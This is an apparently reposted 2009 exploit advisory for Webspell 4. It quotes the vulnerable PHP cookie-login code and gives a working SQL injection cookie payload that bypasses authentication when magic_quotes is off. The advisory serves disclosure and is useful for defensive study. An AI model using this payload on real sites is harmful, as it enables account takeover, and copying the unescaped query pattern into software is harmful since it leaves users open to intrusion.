Lucene search
K

Webspell 4 SQL Injection

🗓️ 04 Jan 2009 00:00:00Reported by h0yt3rType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

Webspell 4 SQL Injection, Webspell Login Bypass, Cookie Exploitation Vulnerability, Lack of Magic_Quotes Securit

Code
`#Webspell Login Bypass  
#Found by: h0yt3r  
#  
##  
#Checklogin.php Line 60:  
#  
# setcookie("ws_auth", $ds['userID'].":".$ws_pwd, time()+($sessionduration*60*60));  
# $login = 1;  
#  
##  
#_functions.php Line 253:  
#  
# $login_per_cookie = false;  
# if(isset($_COOKIE['ws_auth']) AND !isset($_SESSION['ws_auth'])) {  
# $login_per_cookie = true;  
# $_SESSION['ws_auth'] = $_COOKIE['ws_auth'];  
# }  
##  
#src/login.php:  
#  
# global $userID, $loggedin;  
#  
# $userID = 0;  
# $loggedin=false;  
#  
# if(isset($_SESSION['ws_auth'])) {  
# if(stristr($_SESSION['ws_auth'], "userid")===FALSE){  
# $authent = explode(":", $_SESSION['ws_auth']);  
# $ws_user = sprintf('%u', $authent[0]);  
#  
# // ws_pwd must be a string without spaces and with a maximum length of 32 <- ???  
# $ws_pwd = substr(str_replace(' ', '', $authent[1]), 0, 32);  
#  
# if(isset($ws_user) AND isset($ws_pwd)) {  
#  
# $check = safe_query("SELECT userID FROM ".PREFIX."user WHERE userID='$ws_user' AND password='$ws_pwd'");  
#  
# while($ds=mysql_fetch_array($check)) {  
# $loggedin=true;  
# $userID=$ds['userID'];  
# }  
# }  
# } else die();  
# }  
# ?>  
#  
#  
####  
  
// ws_pwd must be a string without spaces and with a maximum length of 32  
$ws_pwd = substr(str_replace(' ', '', $authent[1]), 0, 32);  
  
Wuta fuck is dis crap?!  
$_COOKIE['ws_auth'] can be exploited by somting like dis:  
1:'or/**/1=1/**/limit/**/0,1# (# <- is a comment, dont forget...)  
And btw:  
$_SESSION['ws_auth'] = $_COOKIE['ws_auth'];  
So dont foget to delete teh session...  
Bad thing: Only works wit magic_quotes == off  
  
But they got some function:  
#_functions.php:74  
#function sql_quote($value) {  
#  
# if( get_magic_quotes_gpc() ) {  
# $value = stripslashes( $value );  
# }  
# if( function_exists( "mysql_real_escape_string" ) ) {  
# $value = mysql_real_escape_string( $value );  
# }  
# else  
# {  
# $value = addslashes( $value );  
# }  
# return $value;  
#}  
And why in the world isnt it used?!  
  
~END~  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Jan 2009 00:00Current
7.4High risk
Vulners AI Score7.4
20